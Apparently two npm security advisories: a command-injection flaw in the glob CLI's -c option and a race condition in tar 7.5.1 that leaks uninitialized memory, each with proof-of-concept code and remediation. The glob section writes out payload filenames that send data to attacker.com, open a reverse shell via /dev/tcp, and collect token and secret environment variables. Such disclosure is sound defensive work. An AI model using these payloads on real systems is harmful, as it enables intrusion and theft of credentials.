When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. Details Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true: stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) Technical Flow: User runs glob -c <command> <pattern> CLI finds files matching the pattern Matched filenames are collected into an array Command is executed with matched filenames as arguments using shell: true Shell interprets metacharacters in filenames as command syntax Malicious filenames execute arbitrary commands Affected Component: CLI Only: The vulnerability affects only the command-line interface Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems) Attack Surface: Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. Any directory where attackers can control filenames (PR branches, archives, user uploads) CI/CD pipelines using glob -c on untrusted content PoC Setup Malicious File: mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' Trigger Vulnerability: # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" Result: The echo command executes normally Additionally: The $(touch injected_poc) in the filename is evaluated by the shell A new file injected_poc is created, proving command execution Any command can be injected this way with full user privileges Advanced Payload Examples: Data Exfiltration: # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' Reverse Shell: # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' Environment Variable Harvesting: # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' Impact Arbitrary Command Execution: Commands execute with full privileges of the user running glob CLI No privilege escalation required - runs as current user Access to environment variables, file system, and network Real-World Attack Scenarios: 1. CI/CD Pipeline Compromise: Malicious PR adds files with crafted names to repository CI pipeline uses glob -c to process files (linting, testing, deployment) Commands execute in CI environment with build secrets and deployment credentials Potential for supply chain compromise through artifact tampering 2. Developer Workstation Attack: Developer clones repository or extracts archive containing malicious filenames Local build scripts use glob -c for file processing Developer machine compromise with access to SSH keys, tokens, local services 3. Automated Processing Systems: Services using glob CLI to process uploaded files or external content File uploads with malicious names trigger command execution Server-side compromise with potential for lateral movement 4. Supply Chain Poisoning: Malicious packages or themes include files with crafted names Build processes using glob CLI automatically process these files Wide distribution of compromise through package ecosystems Platform-Specific Risks: POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL Mixed Environments: CI systems often use Linux containers regardless of developer platform Affected Products Ecosystem: npm Package name: glob Component: CLI only (src/bin.mts) Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) Patched versions: 11.1.0and 10.5.0 Scope Limitation: Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable Remediation Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

tar 7.5.1 (npm) pkg:npm/tar@7.5.1 # Dockerfile (28:28) COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/ Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') Affected range =7.5.1 Fixed version 7.5.2 CVSS Score 6.1 CVSS Vector CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H EPSS Score 0.005% EPSS Percentile 0th percentile Description Summary Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. Details See: Race condition leading to uninitialized memory exposure isaacs/node-tar#445 fix: do not return uninitialized memory isaacs/node-tar#446 Regression happened in isaacs/node-tar@5330eb0 PoC A: import * as tar from 'tar' import fs from 'node:fs' fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024)) // from readme const filesAdded = [] tar.c( { sync: true, file: 'tar.test.tmp.tar', onWriteEntry(entry) { // initially, it's uppercase and 0o644 console.log('adding', entry.path, entry.stat.mode.toString(8)) // make all the paths lowercase entry.path = entry.path.toLowerCase() // make the entry executable entry.stat.mode = 0o755 // in the archive, it's lowercase and 0o755 filesAdded.push([entry.path, entry.stat.mode.toString(8)]) }, }, ['./tar.test.tmp'], ) const a = fs.readFileSync('tar.test.tmp.tar') for (let i = 0; ; i++){ if (i % 10000 === 0) console.log(i) fs.writeFileSync('tar.test.tmp.tar', a) fs.truncateSync('tar.test.tmp.tar', 600) } B (vulnerable): import * as tar from 'tar' import * as fs from 'fs' while (true) { fs.readFileSync(import.meta.filename) tar.t({ sync: true, file: 'tar.test.tmp.tar', onReadEntry: e => e.on('data', b => { const a = b.filter(x => x) if (a.length > 0) console.log(a.toString()) }) }) } Run A and B in parallel on Node.js 22 or >=25.1.0 Dumps B memory (wait for some time to observe text data) Impact Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc. To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly). This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected. This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache). If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability. By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message). Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.
